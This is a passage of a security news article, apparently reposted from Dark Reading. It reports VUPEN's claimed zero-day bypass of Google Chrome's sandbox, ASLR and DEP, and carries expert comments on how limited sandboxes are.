page, also bypasses Microsoft's Address Space Layout Randomization (ASLR) security function and Data Execution Prevention (DEP) attack mitigation feature, and works on all Windows systems including Windows 7 Service Pack (SP) 1, Windows Vista SP2, and Windows XP SP3, according to Bekrar. Microsoft's ASLR protects Windows from an exploit attempting to call a system function: it places code in random areas of memory that make it more difficult for an attacker to run malware on a machine. DEP prevents an exploit from directly injecting and executing code from sections of memory used for data. VUPEN Security early last year said it was able to bypass DEP on IE 8 and execute arbitrary code, and that it had sent its exploit code to Microsoft to examine. Other vendors have demonstrated DEP and ASLR bypass attacks: Core Security Technologies discovered a flaw in Microsoft's Virtual PC hypervisor that can be used by an attacker to cheat DEP and ASLR. And independent researcher Peter Vreugdenhil at CanSecWest 2010 waged a heap overflow attack on IE 8 and used a zero-day vulnerability he discovered in the browser to bypass Windows 7's built-in anti-exploit features, Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR). VUPEN's Bekrar says it took the researchers "many weeks" to find a way to bypass Chrome's sandbox. "Chrome has probably the most secure sandbox in the market, and it took us many weeks to find a way to bypass it," he says. "We have been looking into its whole attack surface and features to find a hole allowing the escape from the sandbox." Anup Ghosh, founder and chief scientist at Invincea, says it's no surprise that the sandbox was hacked. "We always knew from the very beginning, while an internal sandbox is a good idea, architecturally, you've still got a lot of residual attack space within the browser," Ghosh says. "It's always just been a question of when it would happen." And the hack highlights just how the sandbox—albeit an extra layer of security—is still just another piece of software that has vulnerabilities of its own, experts say. "Like other security features such as ASLR, sandboxes are very important as they make exploitation much harder and mitigate threats, however a sandbox is not unbreakable as it is itself a piece of software which can be affected by vulnerabilities," Bekrar says. Invincea's Ghosh says he expects the vulnerabilities to be exploited -- initially by sophisticated attackers targeting specific organizations, and then eventually, by organized crime syndicates. "I have no doubt that this vulnerability will be exploited. The fact that they are not making it public makes it far more valuable," he says. Meanwhile, there are no ways for Chrome users to protect themselves from these types of attacks. Sursa: http://www.darkreading.com/advanced-threats/167901091/security/attacks-breaches/229403161/two-zero-day-flaws-used-to-bypass-google-chrome-security.html